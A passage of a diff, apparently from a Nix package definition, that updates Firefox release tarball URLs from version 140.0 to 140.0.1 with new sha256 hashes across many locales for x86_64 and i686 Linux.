-      sha256 = "8061df4097d0b169fa93ff119d072a17137665df1452d67abe05ffb8dadd7754";
+      sha256 = "5ccaa891da8b306a547c9be635d8194d33cddce7afaf53cb460481c05334d4d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/vi/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/vi/firefox-140.0.1.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "b87756572a3bc9e0b60a0442f0062ae7d6fc0e73d1c72960e3846b16326c38e6";
+      sha256 = "a4b1a861ec6b20f5e03c5993f630239db4d8a76f37e10796a036d056febd3f1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/xh/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/xh/firefox-140.0.1.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "6443e1097ca4efeffa87813087eaad4ae4ec49626626d8b8ede3875b6843eb24";
+      sha256 = "6ddb14382050515f1956b977a02c36a5ffdce824215740f5defec22ee00c3ff5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/zh-CN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/zh-CN/firefox-140.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "e7c818ce275cf537e00fc30fe5b0064251c7fb217f069621151acad30d8c9bc6";
+      sha256 = "82087bd7cc1c08428059948e242a40e4030ccbfdc2c564fef36163a878cd0f14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/zh-TW/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/zh-TW/firefox-140.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "d58767c072db6a3bb4853df66881d37633ec38c82b3c52464c1991ef3d17f024";
+      sha256 = "24545443d36833938dcec750d68b795f665070c208c93f2f45effdb05f9a75d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ach/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ach/firefox-140.0.1.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "99f2274dcee881024a23edf94dbb622e32b4fde414522c05c9835eeb603dc13e";
+      sha256 = "81745c26c43c885ef5ad8541412b1ccfd6453a43f19d0256c16fecd370d18c2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/af/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/af/firefox-140.0.1.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "98a9d5af13c01493e23e18f442f3277655b6adde9c765e817ffa6ca712e9bfcd";
+      sha256 = "aab589c7d05fa36c02b8a02a9604534f656dd9637a4cc5917d161ee4fd8ef2a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/an/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/an/firefox-140.0.1.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "5ab4e2e548449b02638ffb1ceb35b08b49a07ba5db0c0fe7cdff22370e407e15";
+      sha256 = "dde7c78b01539cb7bce14c4712f4bcd0b870374570229c4ca7f2ca0ede799acc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ar/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ar/firefox-140.0.1.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "ddddcaac3ec88a2d60dd2b1e535cb742c6f0f4440d5f5d516cd344073dc6de2c";
+      sha256 = "67b99717df239f021281b87ab21b8f55292e9ddb853b1dd59d2834e8959afbbb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ast/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ast/firefox-140.0.1.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "422458a09de3ce95137173d3fa36fb5d94088a42bdd678615b39a1fa4dd8e862";
+      sha256 = "a0493ab300e9bdecae8ff755c3059c57f9d484db9de49268c333eb9d08359405";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/az/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/az/firefox-140.0.1.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "9c9b868eaac6a6e5d1962a9b7a3200f25bd2817ebb10472b32f66cfe53b17331";
+      sha256 = "e3812699dcc6ae9c7fe51cdceeb6ee18a8c5477f4e27112b6a4d15e12fe8f3e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/be/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/be/firefox-140.0.1.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "f8d9083a6ef6320222997d1a92f474a988faf8bc2f241787ddab9ca73dd7c59e";
+      sha256 = "6fe37bb8869b7443913ef337493375c76bd73c76bd4a9ff979ee4fe59fb3575f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bg/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/bg/firefox-140.0.1.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "da4d5f2be41570032a1fe0c360cefc55ab765995d80e6a0547de5878f813b305";
+      sha256 = "90e5dff93bd46c1285ab0273fd79c853d6f93bf99906ea9b98422ef0f12d00d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/bn/firefox-140.0.1.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "4624ea48c8a520248ad8b795b2830049b26a8757f017a0a55f27f2cb33f3bef1";
+      sha256 = "cc138c1bd4961f8e6b42d403e042edf0f9832643dcff3a8d8dfc4c267f03636e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/br/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/br/firefox-140.0.1.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "5da4ced73a0c4d08bf24ff4782ef657314f56417fb6916f4c6afa7ca231d49cf";
+      sha256 = "ce545fa6eb3b32ad95f462b7c8eafc1434fdf958ee6fd13583177d071428d23d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/bs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/bs/firefox-140.0.1.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "5f4c472d9e74182b1b8bac91adbc4ac65406cad1827eacb381b6af6d55871410";
+      sha256 = "c47e9b4d31633369d333cd3436fd5000ca9a5e8683d64aea834d246d78f13dd0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ca-valencia/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ca-valencia/firefox-140.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "6ef7686f27a54877111e0c63f70a7aa3f507daed700b2532e67197fc65ab46d3";
+      sha256 = "f3724c83b36cd4d287fec8aefbe28a6ec56fddab541cab5c0db0cc852fcf76c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ca/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ca/firefox-140.0.1.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "256ab028787596028fbf17bacbc5e68690856ba766786613391ec3dee4a8a726";
+      sha256 = "00d5ed5dda013aec1b486b09c03a316db1ce7e6311530826c14acd41ca76d6a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cak/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/cak/firefox-140.0.1.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "6cea377f66f0498afdc2dd2ead27b6aa4e5d464b5d3258e1e8ef6f7194547b23";
+      sha256 = "be9781c89f5f0981fc6ef4ff33f6c17d0a53c1536559b388df3c9861f458ac0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/cs/firefox-140.0.1.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "57196499777860c0f66343041778ba8bf3cea7c6c6dff4e13c24c9c56137efce";
+      sha256 = "083c7fa7117b03d88f10fe0f1d47d1ac030b3ba30a158e5417a4351765c4f652";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/cy/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/cy/firefox-140.0.1.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "7bdc0c597c3a2f67f76965f1e8c33cf055bfdca7e21dbdf4c9346546f7058abb";
+      sha256 = "2bcef072993cb4750a442b52a7520acc281414e10eb76ffa9b2f55b530ac0fab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/da/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/da/firefox-140.0.1.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "acf056df3d32ce46d3aa79891c4f8dd2c906c8dcc9b663f78ec287986c2a6b6e";
+      sha256 = "c41f34a0cc7fc1d3deed61a4dc76fa6885c7df2e2f76589073e0a5b8febb2ada";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/de/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/de/firefox-140.0.1.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "10d59420bb3374a7b2c1366c1793aa6c5d2cf1a0beb4eb42211b773be5b49683";
+      sha256 = "a3b7e12135e99890ad77688140990ffb71e24d259762280918519fcc390a9765";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/dsb/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/dsb/firefox-140.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "6e62619441b8a98c2e459a2e4d2aa6c241e7a32f7d56385cf77a84ae874b7dbc";
+      sha256 = "81840cbf53cf8a8d2bc228b6c7fa17ec3fa59d6fb674be4f51aafe69c4dae7e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/el/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/el/firefox-140.0.1.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "32cd5609c3d8fbbdaa4978968e4029963e567666fb3fa39fd51f442ae122d39b";
+      sha256 = "d3c9c23e4ca58fb8fa3117ee9db67b0417aeba6c55d4d1146b42c8b96dac2497";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-CA/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/en-CA/firefox-140.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "fb57076c723926004b4cc9f5471c4d5b678d506db45d456c77ec84590beebb2e";
+      sha256 = "ef7a69e65114c59811cd003de66466fdc05276ef913024d60808eec1a294a3a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-GB/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/en-GB/firefox-140.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "662c9947885c66b6c17bff4a8032b23646c75ef787b26d8c2ae702312d221b80";
+      sha256 = "86996f5da6d2248997527a55cd028b23b3128a3105d8358a405a04279c483558";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/en-US/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/en-US/firefox-140.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "47858cf7b8c84e7330fde38b5017a0a14c5cc07a75d5e3f90048b676f859ef19";
+      sha256 = "c374dcbd99bd31545db9d3d719a19fb533a2105aac3df9274c854bb011889bbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/eo/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/eo/firefox-140.0.1.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "6e8e15e9762b77e8fa1eba301116718d30490917bec54c4ea554ed609992d43b";
+      sha256 = "d2e9ac1e0c0825ff3e122d7dd6b27aa4116a87c1318569b3f6f399bbe5df0ccb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-AR/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-AR/firefox-140.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "8fdbb210a7070d60796eed82b2062313a56c3fbece9566b22ed67c3bf51549fd";
+      sha256 = "c4fac942ac2dedfb123849c931c3b45eca48d5f210b719829379b8414e07c700";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-CL/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-CL/firefox-140.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "126ce4de025ddeef82b80a37dff8b996985075ddd2d00bc8cafd41057118fd01";
+      sha256 = "10808bcaf262a9822f19096fb3293135b2102c8732cd4931ac36ca6d503ad556";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-ES/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-ES/firefox-140.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "36852a0883d7a98312421cdffa6691b6ec9bef00c9e8e18ba08a4200a2343780";
+      sha256 = "254ca00a0eb7da8d69903297025c6cf4ab72673928deba24a3056bb0b88d822e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/es-MX/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/es-MX/firefox-140.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "671dbf88dbf626e29e25d8b8783fe48d439aacca73ffc343e22bf7aa8942ac09";
+      sha256 = "fecd61c3bed1eb2c477565481c1eae0942da0afeabbd0781ef74f47f597dfafd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/et/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/et/firefox-140.0.1.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "110003386981b49407101fe8cd97db136fcd26a715cdbccd129bb9777cc932a8";
+      sha256 = "acec4444d158fbf67f255653cc82c837bef8062125a1189e05ee557d4afcf532";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/eu/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/eu/firefox-140.0.1.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "ccb34213d7668b7606b190c8748164a6cb881464a5ad8b29e3a99b99cf40dddb";
+      sha256 = "9b9342ed61c3fb279f111198c96d65de5550e3cbf53014ce8673ae41829e0c3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fa/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fa/firefox-140.0.1.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "c36698575d278ef19186abf963abb8aac7e4b7d532c5200c67e2f4ecea3afb01";
+      sha256 = "f83fc4ab070de0b5f6fc4c2df595017ae9cbfcd0e92039765411d547d972473b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ff/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ff/firefox-140.0.1.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "5217a8c71d95b4efc49786c56338ba4360edb81b972e7f8e55d2ce1d77a53397";
+      sha256 = "1db983222bef97e67ffe712eef63dffe1a7205fc50e69bf770a68997bfa7fa48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fi/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fi/firefox-140.0.1.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "615f222efa72c85bb6288e0ab58ca87d80042ac9ed122a9fcb284ff9fb062f5e";
+      sha256 = "c2889c837bd0e8da0f4c0cc7de52233afc641f4bfa2375a251922713b7fa43ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fr/firefox-140.0.1.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "74cec4b8e72c8cde2893ef6529ba3bbeb7e39f688a0ad16f56ea6a378a6c9972";
+      sha256 = "a4dcee56da1976cddce142a3f06eac9650ca1eb30be89dcae84b073c5817d6ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fur/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fur/firefox-140.0.1.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "f5151c0ed131e3df78ef7f2ef635cc34538060c8dd91035270581ae33a8e0d4f";
+      sha256 = "bc607a3310c7155dc85664373c7ec19625fc8fe937f860af6f320ad282702850";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/fy-NL/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/fy-NL/firefox-140.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "459596a691af7ab6404f0bbc486edc5ab0800ee144e493ef9884200cf4523ea6";
+      sha256 = "0236a14206e9d0691bde518c89d9d6a0edf3e45545ced6c8743fa506cb608863";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ga-IE/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ga-IE/firefox-140.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "f5fb84c5504982b199262d9a9aa39c4d827e9a772dcc819dab70de96de3a2fd2";
+      sha256 = "8e20953a6a9ca9065f87009e6122785ad507b13fbeb39f1ccedc06d2d9486971";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gd/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gd/firefox-140.0.1.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "4659a979ae099d2dbbb8a4587e7e61b948bf755540e7d866f9e7f440bb035629";
+      sha256 = "69f59914d905f6248835c17e99cb16dc71464893c8767df71eec993de2bf0db7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gl/firefox-140.0.1.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "ce6a2f7c4f0d5b4582ecd25cab938466bbc423740ebe43e15d0bba9c09d0c441";
+      sha256 = "914dc1e196f1e4e8610ea8ae18413c0d858b0349e8723365ade4989702ed8554";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gn/firefox-140.0.1.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "0a3012c44a4d3e03ef3143c3f0fc58ffa06978f8dde2770f50903ca274d4988d";
+      sha256 = "e1a8ad71c139ea3158671c1e6888669e27ad9a0c14e235f84f921a082a71112a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/gu-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/gu-IN/firefox-140.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "1a93ef6a47879c1c9ed3ad8d4914034093b8578724eca0d71f021ce335dd32ed";
+      sha256 = "6f223383534739fdc87571d1852614dc8e6689bd711dc4cf0d80fca0cb55dcd3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/he/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/he/firefox-140.0.1.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "c4d69b5bb771dab6882f5c795f7a23da2af487cfac9849c1db37f06f16e36125";
+      sha256 = "f912bd4772a0236338048a2aaf65fd00f7af35dee1b27bbe4490f3221f3114c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hi-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hi-IN/firefox-140.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "fec1b96f0bbd5ae95ad054cff0d7deff78aa6991ceb99e4d114d7d113cb0ba71";
+      sha256 = "9f124027c2c1d7e469720a82ef392b1e4a76ebde2071321360385c3a85fd01d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hr/firefox-140.0.1.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "486aada151ad36866be99b374fac437edcf34b5613a358ed26d79fec7581fcff";
+      sha256 = "91bb68f4a183e73cfa3803e3709ca86ffb09f979d43c1bdea85cb455cf4ed438";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hsb/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hsb/firefox-140.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "a52eb8041da3d24be7fadb27ef4aa985d9036ebdefea2684064eb469fca9387e";
+      sha256 = "809d05e4bc42792394906e7ebf567a78766406110ed4533fc9a6a87f6dabda38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hu/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hu/firefox-140.0.1.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "746f38a26a957507b900fb30588b4fb4596b8e661bffacf632fe09e07eec9dce";
+      sha256 = "d671c3cc783e1dc346311a82ca93e768d305954a629ad15dc22aa98f0853cf01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hy-AM/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/hy-AM/firefox-140.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "ce3f877b42144b568e5881d38a6541b72ef77d907dd36593f75d6c7c3cc45b4e";
+      sha256 = "e81b329ca23c49b505c226095ab20ee36da29285c1dd42e78132f2798d48ee8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ia/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ia/firefox-140.0.1.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "3f71d1d874c6b0bb7773b2e64cbcaffd7e57186b0f43015a69defd8d338ff369";
+      sha256 = "b8e6882d29cdd2cecdbb7d511fe1d5019cc8318540409fc4ad08342eea83f3f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/id/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/id/firefox-140.0.1.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "633bd86b3076e3497b8c97d30376ce46c709b965c6d11e28314b9f9663e2f349";
+      sha256 = "d93cdabad9e93827c671a6042194fb151cf923302ce75e43c55a9108c5639283";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/is/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/is/firefox-140.0.1.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "8861f2921a1dd22003fae3c26010a35758cb5822930924b323f78ed958a67cfe";
+      sha256 = "fbb2b8deb93bf151b58ed7e707d23681fec92222d13b59cf3f0908860f385234";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/it/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/it/firefox-140.0.1.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "2ec60996b6352a883a85e39eecc8c9c32f5ab6013924084453b6a73f9efba2b5";
+      sha256 = "7abb4e1c4a7000ca79c28f2ee688f2292794f0eed34e6fa0422770edbb01fc55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ja/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ja/firefox-140.0.1.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "7a2a2870e0d3b3106be9863883c1553df15e1d1c2f395335b6c17287419243a3";
+      sha256 = "ef9e590cdcecc0b9efbb454da2b3e2c8df5b564abca67aa1e5a302b9ed32ce51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ka/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/ka/firefox-140.0.1.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "647dde6af325c4087b5aff52f3a28dd92221c183078e9d742635d932753a0aec";
+      sha256 = "d9db23b21b1847f479061906ab5c944de99416e21e171a9288ac2430e7304ff9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kab/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/kab/firefox-140.0.1.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "d5155f2fd0c57886c9650a5177b8201b743ef31302f2f86539a1e162c12430e5";
+      sha256 = "77bdfc43c5d66f40d87cdb998f43996b36111b89cf2b0108054b7c67ef8da50d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/kk/firefox-140.0.1.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "85cc556e7ffc2a984729b1710966f3086764aa83b166a613ab90259f359a8f21";
+      sha256 = "0e3f4b19b6ae97749d5c828db94b721c3ab404463590e62fca4a5feb9276c78f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/km/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/km/firefox-140.0.1.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "5d5834299ca4e9eb66354a91a9bf429473f0468828fec2d86c86ee40a17b2c63";
+      sha256 = "60cf1022d9756224790a33ab248a585aaccf9b4b6759f58039bf69281d63ccd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-i686/kn/firefox-140.0.1.tar.xz";
       locale = "kn";
       arch = "linux-i686";
